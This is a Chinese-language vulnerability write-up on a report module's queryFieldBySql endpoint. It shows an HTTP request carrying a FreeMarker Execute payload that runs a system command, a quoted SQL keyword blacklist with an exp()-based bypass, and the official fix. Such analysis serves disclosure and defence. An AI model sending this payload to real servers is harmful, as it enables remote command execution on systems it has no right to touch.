某系统模板注入分析
字数 1075 2025-08-06 08:35:14
某系统模板注入与SQL注入漏洞分析
漏洞概述
本文分析某系统中存在的两个安全漏洞:SQL注入和FreeMarker模板注入。漏洞点在于程序对传入的SQL语句处理时使用了FreeMarker模板渲染导致的问题。
环境准备
- 下载源码并导入IDEA运行(使用MySQL数据库)
- 漏洞依赖包反编译后导入IDEA
SQL注入分析
漏洞接口
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: localhost:8080
Content-Type: application/json
Content-Length: 100
{
"sql": "select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'"
}
代码分析流程
- 全局搜索
queryFieldBySql定位漏洞代码 - 关键过滤方法
i.a()定义SQL关键字黑名单:
String[] var1 = " exec |peformance_schema|information_schema|extractvalue|updatexml|geohash|gtid_subset|gtid_subtract| insert | alter | delete | grant | update | drop | chr | mid | master | truncate | char | declare |user()|".split("\\|");
-
过滤逻辑:
- 调用
b()方法匹配内联注释 - 将传入值全部转为小写
- 调用
c()方法判断是否有sleep()函数关键字 - 与黑名单数组中的关键字逐一匹配,匹配到则拦截并抛出异常
- 调用
-
后续处理:
- 去除传入参数末尾的分号(如果有)
- 再次进行
i.a()方法的SQL关键字拦截 - 正则匹配"${"和"}"之间的字符串存入HashMap
绕过方法
分析发现程序漏掉了exp()函数关键字的匹配,使用exp()函数可实现报错注入。
FreeMarker模板注入分析
攻击Payload
select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'
代码执行流程
-
sql参数值作为var1传入FreeMarker处理函数 -
创建名为"template"的模板对象
-
process()方法处理var1和var3 -
accept()方法匹配FTL表达式:- 将插值和插值传参赋值给
templateElementsToVisit - 第一次调用
visit()处理<#assign value=\"freemarker.template.utility.Execute\"?new()> - 该语句创建一个继承自
freemarker.template.TemplateModel类的变量
- 将插值和插值传参赋值给
-
FreeMarker处理FTL语句后:
targetMethod被赋值为freemarker.template.utility.Execute- 即
freemarker.template.utility.Execute.exec(argumentStrings)
-
第二次调用
visit()处理${value(\"calc\")} -
进入关键调用
exec(),执行系统命令
漏洞修复方案
官方最新版本使用以下方法修复:
setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER)
该方法禁用了FreeMarker模板注入中常用的三个类的解析。
总结
- SQL注入漏洞源于不完善的黑名单过滤,可通过
exp()函数绕过 - 模板注入漏洞源于未对FreeMarker模板解析进行安全限制
- 修复方案通过限制可解析的类来防止危险操作